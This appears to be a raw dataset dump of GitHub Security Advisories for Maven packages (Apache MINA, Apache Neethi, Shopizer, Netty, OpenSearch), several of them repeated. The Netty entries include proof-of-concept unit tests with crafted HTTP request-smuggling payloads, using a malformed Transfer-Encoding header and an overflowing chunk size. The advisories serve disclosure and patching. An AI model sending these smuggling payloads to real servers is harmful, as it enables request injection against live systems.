deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vf5j-865m-mq7c
Package: org.apache.mina:mina-core (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.1.0, < 2.1.12
Patched in: 2.1.12

Summary: Apache MINA vulnerable to Deserialization of Untrusted Data (CVE-2026-41635 Incomplete Fix)

Details:
The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:

Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.

The fix checks if the class is present in the accepted class filter before calling Class.forName(). 

Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.

The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call  IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade.
GitHub Security Advisory: GHSA-287c-fxr7-3w6c
Package: org.apache.neethi:neethi (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 3.2.2
Patched in: 3.2.2

Summary: Apache Neethi doesn't impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API

Details:
Apache Neethi does not impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API. When an application explicitly calls the API to retrieve a policy from a remote URI, an outbound request is made for arbitrary protocols and internal IP adddresses. From 3.2.2, only http or https URIs are allowed, and link-local/multicast/any-local addresses are forbidden.

Users are recommended to upgrade to version 3.2.2, which fixes this issue.
GitHub Security Advisory: GHSA-995c-6rp3-4m4x
Package: org.apache.mina:mina-core (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.2.0, < 2.2.7
Patched in: 2.2.7

Summary: Apache MINA vulnerable to Deserialization of Untrusted Data (CVE-2026-41409 Incomplete Fix)

Details:
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:

The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.

Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.

The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade.
GitHub Security Advisory: GHSA-995c-6rp3-4m4x
Package: org.apache.mina:mina-core (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.1.0, < 2.1.12
Patched in: 2.1.12

Summary: Apache MINA vulnerable to Deserialization of Untrusted Data (CVE-2026-41409 Incomplete Fix)

Details:
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:

The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.

Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.

The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade.
GitHub Security Advisory: GHSA-g36m-9g3m-2vmp
Package: org.apache.neethi:neethi (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 3.2.2
Patched in: 3.2.2

Summary: Apache Neethi is vulnerable to a Denial of Service attack through algorithmic complexity in policy normalization

Details:
Apache Neethi is vulnerable to a Denial of Service attack through algorithmic complexity in policy normalization. Specially crafted WS-Policy documents can trigger an exponential Cartesian cross-product expansion during the normalization process, causing unbounded memory allocation that exhausts the JVM heap. This occurs when the normalization process generates an excessive number of policy alternatives without bounds, leading to runtime memory exhaustion.

Users should upgrade to 3.2.2 which limits the maximum number of normalized policy alternatives.
GitHub Security Advisory: GHSA-2hfh-9h53-qc24
Package: org.apache.neethi:neethi (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 3.2.2
Patched in: 3.2.2

Summary: Apache Neethi does not properly detect circular references in policy definitions.

Details:
Apache Neethi does not properly detect circular references in policy definitions. When a WS-Policy document contains circular policy references (where Policy A references Policy B which references Policy A), the policy normalization process can enter an infinite loop or cause excessive recursion, leading to a stack overflow or application hang. An attacker can craft malicious policy documents with circular references to cause a Denial of Service condition

Users are recommended to upgrade to version 3.2.2, which fixes this issue.
GitHub Security Advisory: GHSA-fqcw-2xhj-p63g
Package: com.shopizer:shopizer (MAVEN)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.16.0
Patched in: unpatched

Summary: Shopizer is vulnerable to Cross-site Scripting

Details:
Multiple authenticated cross-site scripting (XSS) vulnerabilities in the XssHttpServletRequestWrapper class of shopizer through version 3.2.5 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the getInputStream() or getReader() functions.
GitHub Security Advisory: GHSA-f5w4-7ccj-5m75
Package: com.shopizer:shopizer (MAVEN)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 2.16.0
Patched in: unpatched

Summary: Shopizer has a path traversal issue

Details:
A path traversal vulnerability in the /content/images/add endpoint of shopizer through version 3.2.5 allows attackers write arbitrary files to any writeable path via a crafted POST request.
GitHub Security Advisory: GHSA-38f8-5428-x5cv
Package: io.netty:netty-codec-http (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 4.1.132.Final
Patched in: 4.1.133.Final

Summary: Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Details:
### Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

### Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present.
According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

"
If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,
 the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)
 status code and then close the connection.
"

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

```java
@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }
```

### Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
GitHub Security Advisory: GHSA-38f8-5428-x5cv
Package: io.netty:netty-codec-http (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: >= 4.2.0.Alpha1, <= 4.2.12.Final
Patched in: 4.2.13.Final

Summary: Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Details:
### Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

### Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present.
According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

"
If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,
 the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)
 status code and then close the connection.
"

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

```java
@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }
```

### Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
GitHub Security Advisory: GHSA-57rv-r2g8-2cj3
Package: io.netty:netty-codec-http (MAVEN)
Severity: HIGH (CVSS 7.3)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 4.1.132.Final
Patched in: 4.1.133.Final

Summary: Netty has HttpClientCodec response desynchronization

Details:
### Summary
 If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

### Details
HttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites 
- HTTP/1.1 pipelining
- HEAD in the pipeline
- The server sends 1xx

### PoC

```java
    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }
```

### Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
GitHub Security Advisory: GHSA-57rv-r2g8-2cj3
Package: io.netty:netty-codec-http (MAVEN)
Severity: HIGH (CVSS 7.3)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: >= 4.2.0.Alpha1, <= 4.2.12.Final
Patched in: 4.2.13.Final

Summary: Netty has HttpClientCodec response desynchronization

Details:
### Summary
 If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

### Details
HttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites 
- HTTP/1.1 pipelining
- HEAD in the pipeline
- The server sends 1xx

### PoC

```java
    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }
```

### Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
GitHub Security Advisory: GHSA-m4cv-j2px-7723
Package: io.netty:netty-codec-http (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 4.1.132.Final
Patched in: 4.1.133.Final

Summary: Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Details:
### Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

### Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16;
result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

```java
@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}
```

### Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
GitHub Security Advisory: GHSA-m4cv-j2px-7723
Package: io.netty:netty-codec-http (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: >= 4.2.0.Alpha1, <= 4.2.12.Final
Patched in: 4.2.13.Final

Summary: Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Details:
### Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

### Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16;
result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

```java
@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}
```

### Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
GitHub Security Advisory: GHSA-x5hg-x4gv-j98m
Package: org.opensearch.plugin:opensearch-security (MAVEN)
Severity: LOW (CVSS 2.2)
CWE: CWE-295: Improper Certificate Validation
Vulnerable versions: >= 3.0.0, < 3.3.0.0
Patched in: 3.3.0.0

Summary: OpenSearch has ineffective TLS certificate hostname verification

Details:
### Description

A regression was introduced in OpenSearch 2.18.0 that caused the `plugins.security.ssl.transport.enforce_hostname_verification` setting to be ineffective. When this setting was enabled, OpenSearch did not verify that the hostname in a connecting node's TLS certificate matched the hostname of the connection. This could allow a node with a valid certificate (signed by the cluster's trusted CA) but an incorrect hostname SAN to join the cluster.

### Impact

Clusters running affected versions with hostname verification enabled did not receive the expected protection from this setting. A node presenting a certificate signed by the cluster's trusted CA could join the cluster regardless of whether its hostname SAN matched. This regression does not affect certificate validation itself — only the additional hostname verification check.

### Patches

This issue is fixed in OpenSearch 2.19.4 and 3.3.0.

### Workarounds

Use more restrictive values for `plugins.security.nodes_dn` to limit which certificates are accepted for node-to-node communication.